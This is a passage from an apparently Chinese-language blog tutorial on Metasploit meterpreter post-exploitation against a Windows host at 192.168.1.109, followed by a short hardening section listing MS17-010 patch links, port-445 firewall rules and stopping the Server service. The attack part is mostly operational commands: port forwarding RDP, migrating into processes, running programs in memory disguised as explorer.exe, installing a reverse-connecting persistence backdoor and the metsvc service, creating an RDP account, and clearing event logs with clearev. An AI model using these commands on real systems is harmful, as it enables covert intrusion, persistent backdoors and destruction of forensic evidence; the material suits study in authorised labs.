    有word文档,cat命令查看文档内容,edit使用vim修改文件或创建文件写入内容,使用portfwd add -l  8080 -p 3389 -r 

    192.168.1.109命令把目标主机3389 端口转发到8080端口,然后可以使用ps查看进程pid,接着使用migrate pid 把会话注入到pid对应的进程,然后可以使用execute -f xxx.exe执行程序,加-H参数会后台执行,可以把程序伪装成某个进程直接在内存运行execute  -H -m -d explorer.exe -f  xxx.exe,-m 在内存运行,-d 伪装的进程名,使用getpid可以查看注入的进程的pid

    后渗透攻击

    后渗透模块:post/windows/gather/forensics/enum_drives可以获取目标主机存储信息

    run post/windows/gather/forensics/enum_drives

    post/windows/gather/checkvm 可以检测目标主机是否是虚拟机

    persistence -X -i  5  -p 4444 -r 本机ip 可以设置开机启动,每隔5s反向连接一次

    -X 开机启动,-i 反向连接间隔, -r 连接的主机,-p 连接的端口

    直接运行metsvc模块在目标主机创建metsrv.x86.dll、metsvc-server.exe、metsvc.exe文件并监听31337端口,开启meterpreter服务

    运行getgui -e 开启目标远程桌面,可以使用getgui -u user -p password创建一个账号和密码,使用rdesktop -u user  -p password  192.168.1.109:3389连接目标桌面

    使用clearev清除痕迹

    漏洞加固

    1、安装相应的补丁:

    Windows XP SP3,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012598

    Windows 2003 SP2,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012598

    Windows Vista,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012596

    Windows Server 2008,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012596

    Windows 7 SP1/Windows 2008 R2,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012212http://www.catalog.update.microsoft.com/search.aspx?q=KB4012215

    Windows 8.1,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012213http://www.catalog.update.microsoft.com/search.aspx?q=KB4012216

    Windows Server 2012,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012214http://www.catalog.update.microsoft.com/search.aspx?q=KB4012217

    Windows Server 2016,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012213http://www.catalog.update.microsoft.com/search.aspx?q=KB4012216

    2、启用防火墙,并设置防火墙策略,禁止入站规则中所有允许本地端口为445的策略,禁用出站规则中所有允许远程端口为445的策略。

    3、停止Server服务,管理员权限执行:net stop server

  • 相关阅读:
    WPF中如何用代码触发按钮Click处理
    [转帖]HOWTO rename column name in Sqlite3 database
    WPF RichTextBox设置文本颜色
    ElasticSearch+ElasticGeo+Geoserver发布ES地理数据
    SLF4J: Class path contains multiple SLF4J bindings.
    Spark 官方文档(5)——Spark SQL,DataFrames和Datasets 指南
    Spark 官方文档(4)——Configuration配置
    Spark 官方文档(2)——集群模式
    spark 官方文档(1)——提交应用程序
    Learning Spark 第四章——键值对处理
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13302373.html
Copyright © 2011-2022 走看看